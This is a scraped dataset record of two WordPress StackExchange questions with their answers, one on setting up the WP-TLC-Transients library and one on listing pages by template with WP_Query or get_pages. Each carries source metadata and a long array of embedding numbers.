I placed class-tlc-transients-update-server.php, class-tlc-transient.php, and tlc-transients.php to my theme's directory and added include( get_stylesheet_directory() . '/tlc-transients.php' ); to my functions.php
With that settled, I plan on following the example in the readme. Are tlc-transients saved in the same place at wordpress transients? I'm wondering how I can best check if my implementation is successful.
Thank you!
A: *
*Place wherever your code can access
*Include tlc-transients.php during your plugin/theme load (or otherwise before init hook)
*Follow examples from readme for library's API use
PS in [still not very common] case you are using Composer you can also just require markjaquith/wp-tlc-transients in composer.json.
|
Q: Integrating WP-TLC-Transients with Wordpress - Where to Begin? Last week, I asked about creating transients that would update before expiry to prevent users from waiting for the long loading time. I was pointed to WP-TLC-Transients which sound like exactly what I need, but unfortunately, I am at a loss with where to begin.
Here are the associated files:
*
*class-tlc-transient-update-server.php
*class-tlc-transient.php
*functions.php
*tlc-transients.php
Hopefully this is not too basic a question, but I'm interested in where to place the associated files to even begin trying to work with the code.
EDIT:
I placed class-tlc-transients-update-server.php, class-tlc-transient.php, and tlc-transients.php to my theme's directory and added include( get_stylesheet_directory() . '/tlc-transients.php' ); to my functions.php
With that settled, I plan on following the example in the readme. Are tlc-transients saved in the same place at wordpress transients? I'm wondering how I can best check if my implementation is successful.
Thank you!
A: *
*Place wherever your code can access
*Include tlc-transients.php during your plugin/theme load (or otherwise before init hook)
*Follow examples from readme for library's API use
PS in [still not very common] case you are using Composer you can also just require markjaquith/wp-tlc-transients in composer.json.
|
wordpress
|
{
"language": "en",
"length": 194,
"provenance": "stackexchange_00019.jsonl.gz:437373",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115001"
}
|
[
0.0738525390625,
-0.01276397705078125,
-0.01355743408203125,
-0.0936279296875,
0.0227813720703125,
-0.026458740234375,
-0.001598358154296875,
0.0160369873046875,
0.011474609375,
0.01436614990234375,
-0.01509857177734375,
-0.025726318359375,
-0.0180206298828125,
-0.017578125,
-0.027984619140625,
-0.0391845703125,
0.047027587890625,
-0.0281982421875,
0.04510498046875,
0.0024929046630859375,
-0.0223846435546875,
0.02716064453125,
0.061859130859375,
0.03094482421875,
0.0235748291015625,
-0.065185546875,
0.07574462890625,
-0.0264434814453125,
0.00008857250213623047,
-0.038818359375,
0.01251983642578125,
0.02166748046875,
0.011199951171875,
0.0633544921875,
-0.05535888671875,
0.0171661376953125,
0.0087432861328125,
0.03228759765625,
0.0020732879638671875,
0.02972412109375,
0.0123291015625,
0.009307861328125,
0.01551055908203125,
0.0247650146484375,
-0.000469207763671875,
-0.033355712890625,
-0.0003414154052734375,
-0.044189453125,
0.02423095703125,
-0.0133209228515625,
-0.005138397216796875,
-0.003818511962890625,
0.01140594482421875,
-0.00003135204315185547,
-0.0200042724609375,
-0.01490020751953125,
-0.03521728515625,
0.018096923828125,
0.0304412841796875,
-0.007770538330078125,
-0.0166015625,
-0.0287628173828125,
0.025390625,
-0.00872039794921875,
0.0196990966796875,
-0.0283966064453125,
0.04364013671875,
0.031097412109375,
0.01123046875,
0.0007061958312988281,
0.0117950439453125,
0.0225830078125,
-0.02764892578125,
-0.0199127197265625,
-0.01271820068359375,
0.0281829833984375,
0.0177764892578125,
0.01465606689453125,
-0.013275146484375,
0.01708984375,
0.007389068603515625,
-0.0204010009765625,
-0.0303802490234375,
-0.00917816162109375,
0.01320648193359375,
0.0206146240234375,
0.001995086669921875,
-0.0010547637939453125,
-0.05682373046875,
-0.01180267333984375,
-0.048583984375,
0.004123687744140625,
-0.04608154296875,
-0.01102447509765625,
-0.0199432373046875,
0.01334381103515625,
-0.0196533203125,
0.046905517578125,
-0.0182037353515625,
0.048492431640625,
-0.003032684326171875,
-0.037567138671875,
0.05633544921875,
-0.07470703125,
0.0249176025390625,
0.061737060546875,
-0.023956298828125,
-0.00907135009765625,
0.049560546875,
0.0303955078125,
0.0287933349609375,
0.032012939453125,
0.04302978515625,
0.012603759765625,
-0.01320648193359375,
-0.052001953125,
-0.03887939453125,
0.0416259765625,
-0.0009341239929199219,
0.015594482421875,
0.01593017578125,
0.0264892578125,
-0.02593994140625,
-0.027069091796875,
-0.0016384124755859375,
-0.019317626953125,
-0.032501220703125,
0.01227569580078125,
-0.032867431640625,
-0.01045989990234375,
-0.0034465789794921875,
0.049102783203125,
0.048248291015625,
-0.0022907257080078125,
-0.031158447265625,
0.00511932373046875,
0.0237884521484375,
0.0243377685546875,
0.024566650390625,
-0.04559326171875,
0.051116943359375,
-0.01146697998046875,
-0.0265960693359375,
0.036590576171875,
0.0026397705078125,
0.017333984375,
0.01513671875,
0.01488494873046875,
-0.0145416259765625,
-0.0228118896484375,
0.0233001708984375,
-0.019378662109375,
0.01311492919921875,
0.018646240234375,
0.0283966064453125,
0.0111846923828125,
0.051025390625,
-0.019866943359375,
-0.029144287109375,
-0.031951904296875,
-0.02520751953125,
-0.06707763671875,
-0.049224853515625,
-0.002231597900390625,
-0.0121612548828125,
0.07305908203125,
0.04962158203125,
0.0099639892578125,
0.0204315185546875,
0.08514404296875,
0.01396942138671875,
-0.033477783203125,
0.02349853515625,
0.023193359375,
-0.0261077880859375,
0.00954437255859375,
-0.029296875,
0.038665771484375,
0.0521240234375,
-0.0325927734375,
-0.0164337158203125,
-0.043731689453125,
0.0726318359375,
-0.00643157958984375,
-0.0323486328125,
-0.0149383544921875,
0.0282745361328125,
0.08026123046875,
-0.00539398193359375,
0.044189453125,
0.0090484619140625,
-0.005950927734375,
-0.0173492431640625,
0.0531005859375,
-0.00479888916015625,
-0.034210205078125,
-0.01788330078125,
0.00472259521484375,
-0.01287841796875,
-0.035064697265625,
-0.029022216796875,
0.006511688232421875,
-0.01464080810546875,
-0.00785064697265625,
-0.0316162109375,
-0.01522064208984375,
-0.01194000244140625,
0.040863037109375,
0.0482177734375,
0.025909423828125,
-0.01561737060546875,
-0.0167236328125,
0.0124664306640625,
-0.0258941650390625,
-0.0511474609375,
-0.0084381103515625,
-0.0278472900390625,
0.029205322265625,
0.03668212890625,
0.0154571533203125,
0.040191650390625,
0.004367828369140625,
0.0256500244140625,
-0.042938232421875,
-0.0192413330078125,
0.002620697021484375,
-0.005962371826171875,
0.007549285888671875,
-0.005008697509765625,
0.002780914306640625,
0.05126953125,
0.024444580078125,
-0.0291290283203125,
-0.03167724609375,
-0.03375244140625,
0.0254974365234375,
-0.025177001953125,
-0.035736083984375,
-0.0234832763671875,
0.038848876953125,
0.0263214111328125,
0.034454345703125,
-0.0206451416015625,
-0.017181396484375,
0.06500244140625,
-0.0171051025390625,
0.01165008544921875,
-0.01316070556640625,
0.0063323974609375,
0.0279083251953125,
0.006229400634765625,
0.0032215118408203125,
0.0031108856201171875,
-0.0106658935546875,
0.00640106201171875,
0.019500732421875,
0.00478363037109375,
-0.019287109375,
0.005527496337890625,
-0.0209197998046875,
0.0286865234375,
-0.0335693359375,
-0.05572509765625,
0.0125579833984375,
0.052581787109375,
-0.0016193389892578125,
0.042083740234375,
0.0231475830078125,
0.00847625732421875,
0.01058197021484375,
-0.00579833984375,
-0.0579833984375,
0.007625579833984375,
0.015716552734375,
0.0242156982421875,
-0.0185546875,
-0.01003265380859375,
-0.00640106201171875,
-0.01019287109375,
-0.01020050048828125,
-0.045166015625,
0.01009368896484375,
0.01424407958984375,
-0.018524169921875,
-0.029205322265625,
-0.03704833984375,
0.0289459228515625,
-0.03741455078125,
-0.0088653564453125,
-0.027923583984375,
-0.02191162109375,
0.05169677734375,
-0.037841796875,
0.05377197265625,
0.01192474365234375,
-0.01117706298828125,
0.02496337890625,
0.0091552734375,
0.0101165771484375,
-0.0263214111328125,
0.0112762451171875,
0.037841796875,
-0.0238189697265625,
0.006526947021484375,
0.0014467239379882812,
0.040740966796875,
0.028717041015625,
-0.0202178955078125,
-0.018707275390625,
-0.032684326171875,
0.00991058349609375,
-0.00608062744140625,
0.016998291015625,
0.06573486328125,
-0.040924072265625,
-0.05303955078125,
-0.0178680419921875,
0.011505126953125,
-0.06378173828125,
-0.07244873046875,
0.0220794677734375,
-0.068359375,
-0.00858306884765625,
-0.0338134765625,
-0.053863525390625,
0.0013246536254882812,
-0.01486968994140625,
-0.007190704345703125,
-0.04412841796875,
-0.00829315185546875,
-0.033203125,
-0.03271484375,
-0.0382080078125,
0.016326904296875,
-0.0142059326171875,
0.018463134765625,
0.0016841888427734375,
0.0178375244140625,
-0.0063934326171875,
-0.06610107421875,
-0.03375244140625,
0.056884765625,
-0.005367279052734375,
-0.0206451416015625,
-0.0047760009765625,
0.0367431640625,
-0.00954437255859375,
0.006206512451171875,
-0.0285186767578125,
0.0249481201171875,
-0.036102294921875,
-0.01085662841796875,
-0.029388427734375,
-0.00518798828125,
0.0045623779296875,
0.0034389495849609375,
0.0214080810546875,
0.0176544189453125,
0.0185394287109375,
-0.02978515625,
0.008544921875,
0.005649566650390625,
-0.021759033203125,
-0.0128173828125,
0.00997161865234375,
-0.0305328369140625,
-0.000492095947265625,
-0.018341064453125,
-0.0687255859375,
-0.04644775390625,
0.00018584728240966797,
-0.068115234375,
0.051605224609375,
-0.029205322265625,
-0.032257080078125,
0.030914306640625,
0.0270843505859375,
0.00072479248046875,
-0.0113983154296875,
0.005214691162109375,
-0.0011816024780273438,
-0.0205078125,
0.03680419921875,
-0.0112152099609375,
-0.0199737548828125,
0.044219970703125,
-0.0267791748046875,
0.0222930908203125,
-0.039093017578125,
-0.0189361572265625,
-0.028594970703125,
0.06353759765625,
-0.0655517578125,
-0.0098724365234375,
0.03900146484375,
0.029541015625,
-0.0303497314453125,
-0.00344085693359375,
-0.0321044921875,
-0.02630615234375,
-0.05694580078125,
0.06689453125,
0.0241241455078125,
0.004894256591796875,
-0.03668212890625,
-0.049835205078125,
-0.04376220703125,
-0.036102294921875,
-0.005329132080078125,
-0.028045654296875,
0.034088134765625,
-0.0157470703125,
0.004924774169921875,
-0.011016845703125,
0.007457733154296875,
-0.06988525390625,
-0.059234619140625,
-0.01251220703125,
-0.0430908203125,
0.06561279296875,
0.0516357421875,
-0.046142578125,
0.01861572265625,
0.0655517578125,
0.01557159423828125,
0.019287109375,
0.0290679931640625,
0.0009694099426269531,
0.00720977783203125,
0.00884246826171875,
0.039306640625,
-0.0119781494140625,
0.01515960693359375,
0.005107879638671875,
-0.0408935546875,
0.039642333984375,
-0.0382080078125,
0.032867431640625,
-0.018646240234375,
-0.05120849609375,
-0.03765869140625,
-0.0270233154296875,
-0.002574920654296875,
0.0384521484375,
-0.0216064453125,
0.03448486328125,
-0.05621337890625,
-0.045867919921875,
0.03253173828125,
-0.020477294921875,
0.01477813720703125,
0.006565093994140625,
0.046478271484375,
0.00800323486328125,
-0.02264404296875,
-0.0195770263671875,
0.0008058547973632812,
-0.00363922119140625,
0.009765625,
0.011627197265625,
-0.01270294189453125,
-0.0010137557983398438,
0.0238800048828125,
-0.01219940185546875,
-0.0323486328125,
-0.0131683349609375,
0.06231689453125,
0.018798828125,
0.0175018310546875,
-0.031341552734375,
-0.0024776458740234375,
0.03515625,
0.00310516357421875,
-0.0112457275390625,
0.0194091796875,
0.0418701171875,
0.01367950439453125,
-0.053466796875,
0.0274200439453125,
-0.004730224609375,
-0.05999755859375,
0.01268768310546875,
-0.0411376953125,
0.05535888671875,
0.0258331298828125,
0.0034503936767578125,
0.04400634765625,
0.01030731201171875,
-0.0045928955078125,
0.013397216796875,
0.003711700439453125,
-0.013275146484375,
-0.01837158203125,
0.05120849609375,
-0.0175323486328125,
0.00698089599609375,
-0.01091766357421875,
0.0294342041015625,
-0.0201263427734375,
-0.043853759765625,
-0.006710052490234375,
-0.0153045654296875,
0.051788330078125,
0.0300445556640625,
-0.0159759521484375,
0.0076141357421875,
0.01483917236328125,
-0.01122283935546875,
-0.0050811767578125,
0.01480865478515625,
-0.0124969482421875,
-0.0274200439453125,
0.0135345458984375,
0.0145111083984375,
-0.0137481689453125,
0.0235595703125,
0.0275115966796875,
0.0163116455078125,
0.01557159423828125,
-0.015960693359375,
0.04827880859375,
0.063720703125,
-0.0017023086547851562,
0.00676727294921875,
0.01139068603515625,
0.01409149169921875,
-0.058380126953125,
0.005687713623046875,
-0.050628662109375,
0.020538330078125,
0.032806396484375,
0.06500244140625,
-0.04827880859375,
-0.079833984375,
0.0299835205078125,
-0.049224853515625,
-0.0164642333984375,
-0.0031757354736328125,
-0.00814056396484375,
-0.0027942657470703125,
-0.0235443115234375,
-0.020294189453125,
0.02117919921875,
0.0204315185546875,
0.0022525787353515625,
0.05389404296875,
0.01837158203125,
0.055755615234375,
0.0025081634521484375,
0.0237274169921875,
-0.0267181396484375,
-0.00936126708984375,
-0.0305328369140625,
-0.0307159423828125,
-0.01142120361328125,
-0.050750732421875,
0.008270263671875,
-0.006317138671875,
-0.0216522216796875,
0.0143890380859375,
0.015960693359375,
0.028717041015625,
-0.0509033203125,
-0.01560211181640625,
-0.045989990234375,
-0.0188446044921875,
0.0458984375,
-0.00864410400390625,
-0.0121002197265625,
-0.0222015380859375,
-0.0222015380859375,
-0.0233612060546875,
-0.014434814453125,
-0.061798095703125,
-0.0279693603515625,
-0.010955810546875,
-0.0116119384765625,
0.0101776123046875,
-0.0237884521484375,
-0.037139892578125,
0.006175994873046875,
0.00901031494140625,
0.0095062255859375,
0.001995086669921875,
0.0157470703125,
0.01537322998046875,
0.045135498046875,
0.0234375,
0.0748291015625,
0.021453857421875,
-0.049041748046875,
-0.03839111328125,
0.019317626953125,
-0.007701873779296875,
-0.0307464599609375,
-0.0243988037109375,
-0.029541015625,
-0.018890380859375,
0.06390380859375,
-0.0277557373046875,
-0.00492095947265625,
-0.020477294921875,
-0.007488250732421875,
-0.0087432861328125,
0.07025146484375,
-0.0015401840209960938,
-0.0272064208984375,
0.03271484375,
-0.0196075439453125,
0.004161834716796875,
-0.014923095703125,
-0.0203094482421875,
0.0137786865234375,
-0.0032062530517578125,
0.0258941650390625,
0.0189361572265625,
-0.0296783447265625,
0.043426513671875,
0.06134033203125,
0.0037593841552734375,
0.044219970703125,
0.01433563232421875,
0.01654052734375,
-0.000850677490234375,
0.001216888427734375,
0.027252197265625,
-0.00958251953125,
0.051971435546875,
-0.0019550323486328125,
-0.01189422607421875,
0.01206207275390625,
-0.03363037109375,
-0.055328369140625,
-0.003307342529296875,
0.00202178955078125,
0.017974853515625,
-0.019073486328125,
0.0102386474609375,
-0.007083892822265625,
-0.05633544921875,
0.0014791488647460938,
-0.026763916015625,
-0.0582275390625,
0.03912353515625,
-0.00667572021484375,
-0.01442718505859375,
0.0111083984375,
-0.0029621124267578125,
-0.00629425048828125,
-0.004817962646484375,
0.0286712646484375,
0.017578125,
-0.01031494140625,
0.01447296142578125,
0.003208160400390625,
0.010772705078125,
0.0160064697265625,
0.039398193359375,
-0.004810333251953125,
-0.0184173583984375,
0.0213470458984375,
0.034576416015625,
0.01250457763671875,
-0.057861328125,
0.060699462890625,
-0.006549835205078125,
0.054412841796875,
0.033935546875,
0.041717529296875,
-0.0308837890625,
-0.0097808837890625,
0.04150390625,
0.0157623291015625,
-0.040191650390625,
0.010467529296875,
0.0333251953125,
-0.031646728515625,
0.0218048095703125,
0.027191162109375,
-0.0234527587890625,
-0.0016269683837890625,
-0.01154327392578125,
0.0679931640625,
-0.032623291015625,
-0.005275726318359375,
0.030242919921875,
-0.0200958251953125,
-0.020782470703125,
-0.0232086181640625,
0.015777587890625,
-0.0242156982421875,
-0.0125274658203125,
-0.025604248046875,
-0.0262603759765625,
-0.01702880859375,
-0.03131103515625,
-0.0927734375,
0.10211181640625,
0.0169219970703125,
0.057647705078125,
0.00818634033203125,
0.019256591796875,
-0.04486083984375,
-0.0303497314453125,
-0.02423095703125,
0.0287933349609375,
-0.023712158203125,
0.02349853515625,
-0.04248046875,
0.00453948974609375,
-0.0018768310546875,
0.03350830078125,
0.04559326171875,
0.020660400390625,
-0.05841064453125,
0.00901031494140625,
0.0272674560546875,
-0.01137542724609375,
-0.0226898193359375,
0.08782958984375,
-0.00022280216217041016,
-0.01161956787109375,
0.0034275054931640625,
0.0270843505859375,
0.050445556640625,
-0.040740966796875,
-0.039764404296875,
0.01027679443359375,
0.0270538330078125,
0.044647216796875,
0.01279449462890625,
0.0389404296875,
-0.016632080078125,
0.005176544189453125,
0.02398681640625,
0.01092529296875,
0.01416015625,
-0.041107177734375,
-0.061553955078125,
0.051055908203125,
-0.038818359375,
0.035888671875,
-0.003261566162109375,
-0.004398345947265625,
-0.028472900390625,
0.038360595703125,
0.01523590087890625,
-0.02935791015625,
0.01275634765625,
-0.01126861572265625,
0.021697998046875,
-0.0022029876708984375,
0.0033416748046875,
0.0355224609375,
0.0308837890625,
-0.0023441314697265625,
-0.00215911865234375,
0.01459503173828125,
0.01050567626953125,
-0.012908935546875,
-0.049102783203125,
0.01332855224609375,
-0.001628875732421875,
0.0244293212890625,
0.033294677734375,
0.03411865234375,
-0.062469482421875,
-0.03765869140625,
0.052398681640625,
-0.0189666748046875,
-0.02569580078125,
0.0018510818481445312,
0.026153564453125,
0.054168701171875,
-0.0013780593872070312,
-0.007049560546875,
-0.017486572265625,
0.01226043701171875,
0.016876220703125,
0.039306640625,
-0.03155517578125,
0.07904052734375,
0.00411224365234375,
-0.02294921875,
-0.023284912109375,
0.056121826171875,
0.04376220703125,
-0.0216064453125,
0.01360321044921875,
-0.01849365234375,
-0.01739501953125,
-0.0013484954833984375,
0.01065826416015625,
0.0077056884765625,
0.0291900634765625,
0.035369873046875,
-0.0222320556640625,
-0.0031719207763671875,
0.044525146484375,
-0.01776123046875,
0.01049041748046875,
-0.0214996337890625,
-0.007404327392578125,
-0.006664276123046875,
-0.01241302490234375,
-0.0135955810546875,
0.0041046142578125,
0.0289306640625,
-0.052978515625,
0.0253753662109375,
-0.011138916015625,
-0.05755615234375,
0.05877685546875,
-0.0023365020751953125,
0.12420654296875,
0.000055849552154541016,
0.021331787109375,
0.01068115234375,
-0.06365966796875,
0.00968170166015625,
0.0152435302734375,
0.03009033203125,
0.05511474609375,
-0.003879547119140625,
0.025238037109375,
-0.01482391357421875,
-0.0094451904296875,
-0.0038623809814453125,
0.012451171875,
-0.074951171875,
-0.0049591064453125,
-0.031036376953125,
-0.038116455078125,
-0.0182342529296875,
0.0021800994873046875,
0.034423828125,
-0.03436279296875,
0.11285400390625,
-0.03985595703125,
-0.0096282958984375,
0.002471923828125,
-0.0311737060546875,
0.00794219970703125,
0.0088653564453125,
-0.02850341796875,
-0.0095367431640625,
0.0030727386474609375,
-0.0012197494506835938,
-0.049407958984375,
0.0013523101806640625,
0.017333984375,
0.007343292236328125,
-0.001007080078125,
-0.02801513671875,
0.04327392578125,
0.0172271728515625,
0.0143585205078125,
-0.005748748779296875,
-0.0245208740234375,
0.0171661376953125,
0.04974365234375,
0.0109100341796875,
0.0246734619140625,
-0.06561279296875,
-0.0166778564453125,
0.040496826171875,
0.00696563720703125,
0.01019287109375,
0.054107666015625,
0.010009765625,
0.012908935546875,
0.01291656494140625,
-0.032012939453125,
-0.0474853515625,
-0.033935546875,
-0.024169921875,
-0.00429534912109375,
0.01323699951171875,
-0.04766845703125,
-0.006793975830078125,
0.034088134765625,
0.03924560546875,
0.055999755859375,
-0.022705078125,
0.013214111328125,
0.032196044921875,
-0.005344390869140625,
0.0229034423828125,
0.023651123046875,
-0.0311279296875,
-0.07781982421875,
-0.002826690673828125,
0.00313568115234375,
-0.03497314453125,
-0.006252288818359375,
-0.05517578125,
-0.0024356842041015625,
0.0287628173828125,
0.004863739013671875,
-0.03851318359375,
-0.0171966552734375,
-0.0059814453125,
0.033905029296875,
0.006439208984375,
0.0268707275390625,
-0.026458740234375,
-0.007251739501953125,
-0.01325225830078125,
-0.049468994140625,
-0.02764892578125,
0.0806884765625,
-0.00902557373046875,
-0.005706787109375,
0.044158935546875,
-0.006664276123046875,
-0.0014209747314453125,
-0.0261077880859375,
0.017791748046875,
0.0164337158203125,
-0.05511474609375,
-0.0299530029296875,
0.01366424560546875,
0.0095672607421875,
-0.0007939338684082031,
-0.050537109375,
-0.018951416015625,
-0.01343536376953125,
0.017120361328125,
0.0028705596923828125,
-0.010406494140625,
-0.0031948089599609375,
-0.04986572265625,
-0.07171630859375,
0.072265625,
-0.00885009765625,
-0.032196044921875,
-0.044158935546875,
-0.03985595703125,
-0.0274200439453125,
0.06927490234375,
-0.004390716552734375,
-0.026702880859375,
-0.052734375,
0.038421630859375,
0.047393798828125,
0.029937744140625,
0.0440673828125,
0.0298919677734375,
-0.055511474609375,
-0.0028667449951171875,
-0.03668212890625,
0.0400390625,
-0.0302276611328125,
-0.00994110107421875,
0.03936767578125,
0.051910400390625,
-0.001888275146484375,
0.006786346435546875,
0.01837158203125,
-0.009124755859375,
-0.0157623291015625,
-0.05828857421875,
-0.0228118896484375,
-0.0092926025390625,
0.10345458984375,
0.043212890625,
0.0237274169921875,
-0.038787841796875,
0.026611328125,
-0.0022068023681640625,
-0.034332275390625,
0.002227783203125,
0.024932861328125,
-0.035552978515625,
-0.00782012939453125,
0.0028972625732421875,
0.0197601318359375,
-0.048919677734375,
-0.032684326171875,
-0.016265869140625,
-0.035400390625,
-0.0021266937255859375,
0.0220184326171875,
0.0287628173828125,
-0.038421630859375,
-0.0011796951293945312,
0.004436492919921875,
0.01520538330078125,
-0.010223388671875,
0.03875732421875,
-0.006565093994140625,
0.0574951171875,
0.0047607421875,
0.022064208984375,
-0.01177978515625,
0.02947998046875,
0.0213165283203125,
0.037109375,
-0.02392578125,
0.00247955322265625,
-0.007686614990234375,
-0.0027790069580078125,
0.0235748291015625,
-0.004039764404296875,
-0.043365478515625,
-0.010345458984375,
-0.0204925537109375,
0.01303863525390625,
-0.0272369384765625,
0.033203125,
-0.0246124267578125,
0.0369873046875,
0.00848388671875,
0.0032901763916015625,
0.04107666015625,
-0.00543975830078125,
-0.0037364959716796875,
0.024017333984375,
0.00302886962890625,
0.007266998291015625,
-0.012451171875,
-0.054901123046875,
0.00229644775390625,
-0.0022373199462890625
] |
49861632d057da475525e22378fba5aab0a0f7c7
|
Wordpress Stackexchange
Q: Listing pages which uses specific template I have created a template named product.php with the following header:
<?php
/*
Template Name: Product Page
*/
How can I list, in a sidebar, every page that uses the "Product Page" template?
I have tried reading the wp_list_pages() function documentation, but it only seemed possible to list filtering by post_type, not by template used.
A: You can do this with a WP_Query meta_query. The page template filename is stored in post meta under the key _wp_page_template:
$args = array(
'post_type' => 'page',
'posts_per_page' => -1,
'meta_query' => array(
array(
'key' => '_wp_page_template',
'value' => 'product.php'
)
)
);
$the_pages = new WP_Query( $args );
if( $the_pages->have_posts() ){
while( $the_pages->have_posts() ){
$the_pages->the_post();
the_title();
}
}
wp_reset_postdata();
|
Q: Listing pages which uses specific template I have created a template named product.php with the following header:
<?php
/*
Template Name: Product Page
*/
How can I list, in a sidebar, every page that uses the "Product Page" template?
I have tried reading the wp_list_pages() function documentation, but it only seemed possible to list filtering by post_type, not by template used.
A: You can do this with a WP_Query meta_query. The page template filename is stored in post meta under the key _wp_page_template:
$args = array(
'post_type' => 'page',
'posts_per_page' => -1,
'meta_query' => array(
array(
'key' => '_wp_page_template',
'value' => 'product.php'
)
)
);
$the_pages = new WP_Query( $args );
if( $the_pages->have_posts() ){
while( $the_pages->have_posts() ){
$the_pages->the_post();
the_title();
}
}
wp_reset_postdata();
A: the page template is setted via a meta field with the key '_wp_page_template'. The value for this meta field is the php full file name of the template file, something like
'page-products.php'
so you can create a custom function to easyly get the page with a specific template using meta_key and meta_value param off get_pages (or using a WP_Query with 'meta_query' argument):
get_pages_by_template( $template = '', $args = array() ) {
if ( empty($template) ) return false;
if ( strpos($template, '.php') !== (strlen($template) - 4) ) $template .= '.php';
$args['meta_key'] = '_wp_page_template';
$args['meta_value'] = $template;
return get_pages($args);
}
This function accepts as first (mandatory) argument the template and as second (optional) argument all the arguments of get_pages.
the template can passed with or without '.php' extension:
$pages = get_pages_by_template('page-products');
or
$pages = get_pages_by_template('page-products.php');
After that, you can use the page retrieved as you want: loop throu them and output some markup, create a custom widget that make use of the function, and so on...
|
wordpress
|
{
"language": "en",
"length": 288,
"provenance": "stackexchange_00019.jsonl.gz:437381",
"question_score": "9",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115020"
}
|
[
-0.0218658447265625,
0.0098724365234375,
-0.019134521484375,
-0.0025196075439453125,
0.0183258056640625,
-0.0172271728515625,
0.0360107421875,
-0.01904296875,
-0.0198516845703125,
0.0125885009765625,
-0.01506805419921875,
0.0008311271667480469,
-0.032470703125,
-0.0276947021484375,
0.01291656494140625,
-0.049102783203125,
0.024566650390625,
-0.01053619384765625,
0.035614013671875,
-0.01004791259765625,
0.00508880615234375,
0.01068115234375,
0.00791168212890625,
0.010040283203125,
0.0258331298828125,
-0.05908203125,
0.0491943359375,
-0.018798828125,
0.027679443359375,
-0.028564453125,
0.0178680419921875,
0.01378631591796875,
0.030670166015625,
-0.024688720703125,
0.0175933837890625,
0.02337646484375,
-0.018463134765625,
0.0009665489196777344,
0.0245208740234375,
-0.00981903076171875,
0.0259857177734375,
-0.02752685546875,
0.033477783203125,
-0.0138397216796875,
0.01175689697265625,
0.005687713623046875,
0.0269622802734375,
-0.045684814453125,
0.015716552734375,
0.020843505859375,
0.01250457763671875,
-0.0232696533203125,
0.01428985595703125,
0.0305328369140625,
-0.024871826171875,
-0.01654052734375,
-0.002643585205078125,
0.0106048583984375,
0.0357666015625,
-0.0297088623046875,
-0.044403076171875,
-0.019866943359375,
0.02294921875,
-0.0048370361328125,
-0.0119476318359375,
-0.01000213623046875,
-0.043365478515625,
0.0206298828125,
-0.00914764404296875,
-0.01552581787109375,
0.01363372802734375,
-0.0306854248046875,
-0.006927490234375,
-0.014312744140625,
-0.01197052001953125,
-0.02691650390625,
0.024658203125,
-0.025390625,
-0.02642822265625,
0.0244598388671875,
-0.0377197265625,
-0.004024505615234375,
-0.0509033203125,
-0.07135009765625,
0.0217437744140625,
-0.038177490234375,
-0.0255126953125,
0.020538330078125,
-0.0189971923828125,
-0.0075531005859375,
-0.0203399658203125,
0.0027484893798828125,
0.01065826416015625,
-0.0231170654296875,
-0.039886474609375,
-0.00460052490234375,
0.0104522705078125,
0.046234130859375,
-0.0013952255249023438,
0.030242919921875,
-0.0175323486328125,
-0.04180908203125,
0.033782958984375,
-0.05462646484375,
0.040283203125,
0.08001708984375,
-0.01221466064453125,
0.03717041015625,
0.08270263671875,
0.0295562744140625,
0.06781005859375,
-0.0019779205322265625,
-0.035919189453125,
-0.0128173828125,
-0.053466796875,
0.02325439453125,
-0.03765869140625,
-0.038482666015625,
0.007465362548828125,
-0.00864410400390625,
0.02679443359375,
0.044586181640625,
0.06964111328125,
-0.06396484375,
0.0017251968383789062,
0.0038585662841796875,
-0.0311431884765625,
-0.104248046875,
0.0238494873046875,
0.006061553955078125,
-0.0248565673828125,
0.0005984306335449219,
-0.002277374267578125,
-0.003749847412109375,
-0.02130126953125,
-0.006290435791015625,
0.019256591796875,
0.012298583984375,
0.019287109375,
-0.0227813720703125,
0.0219268798828125,
-0.0005340576171875,
0.0005712509155273438,
-0.0162811279296875,
-0.010040283203125,
-0.0173492431640625,
0.00567626953125,
0.0511474609375,
0.00780487060546875,
0.0175933837890625,
-0.001861572265625,
0.0188751220703125,
0.0014944076538085938,
0.03131103515625,
0.03143310546875,
-0.0134429931640625,
0.020965576171875,
-0.0282745361328125,
0.01320648193359375,
-0.0194091796875,
0.002655029296875,
-0.00403594970703125,
0.007610321044921875,
-0.03131103515625,
-0.043243408203125,
0.00357818603515625,
-0.023834228515625,
-0.0179901123046875,
0.01180267333984375,
0.0013828277587890625,
0.01172637939453125,
-0.04510498046875,
-0.003063201904296875,
0.01629638671875,
0.0031032562255859375,
0.0303192138671875,
0.0023822784423828125,
0.0340576171875,
0.01666259765625,
0.0090484619140625,
-0.0247955322265625,
-0.035888671875,
0.0452880859375,
-0.017913818359375,
-0.08294677734375,
0.016357421875,
0.032989501953125,
0.053009033203125,
-0.01117706298828125,
0.010223388671875,
0.098876953125,
0.0170135498046875,
-0.053131103515625,
0.060089111328125,
0.00738525390625,
-0.06304931640625,
-0.01042938232421875,
-0.0152435302734375,
-0.0120697021484375,
-0.014068603515625,
0.032012939453125,
0.011016845703125,
0.029815673828125,
0.0147552490234375,
-0.065185546875,
0.049835205078125,
-0.04864501953125,
0.039031982421875,
0.00994110107421875,
0.0255279541015625,
0.01168060302734375,
0.006793975830078125,
-0.03057861328125,
-0.013671875,
-0.03338623046875,
0.004154205322265625,
0.04022216796875,
0.0096435546875,
0.0207672119140625,
-0.007480621337890625,
0.02728271484375,
-0.016693115234375,
0.003147125244140625,
0.041839599609375,
0.041473388671875,
0.016265869140625,
-0.0298614501953125,
0.000545501708984375,
-0.0189361572265625,
0.042938232421875,
-0.0902099609375,
0.023223876953125,
-0.003368377685546875,
0.036651611328125,
-0.0280914306640625,
0.007648468017578125,
-0.01488494873046875,
0.01293182373046875,
0.005458831787109375,
0.0186004638671875,
0.02825927734375,
0.04217529296875,
0.023834228515625,
0.038330078125,
0.05816650390625,
-0.034393310546875,
-0.003391265869140625,
0.01141357421875,
0.0148468017578125,
0.051116943359375,
0.0005869865417480469,
-0.009552001953125,
-0.01043701171875,
-0.03399658203125,
0.0173187255859375,
0.007904052734375,
-0.01282501220703125,
0.04095458984375,
-0.0209197998046875,
0.0186614990234375,
-0.028717041015625,
0.01605224609375,
0.034759521484375,
-0.0252532958984375,
0.07476806640625,
0.0059814453125,
0.0494384765625,
0.0196685791015625,
-0.034759521484375,
-0.002964019775390625,
0.007366180419921875,
-0.01114654541015625,
-0.0030651092529296875,
-0.002681732177734375,
0.00917816162109375,
0.006069183349609375,
-0.055450439453125,
0.0081024169921875,
0.0257110595703125,
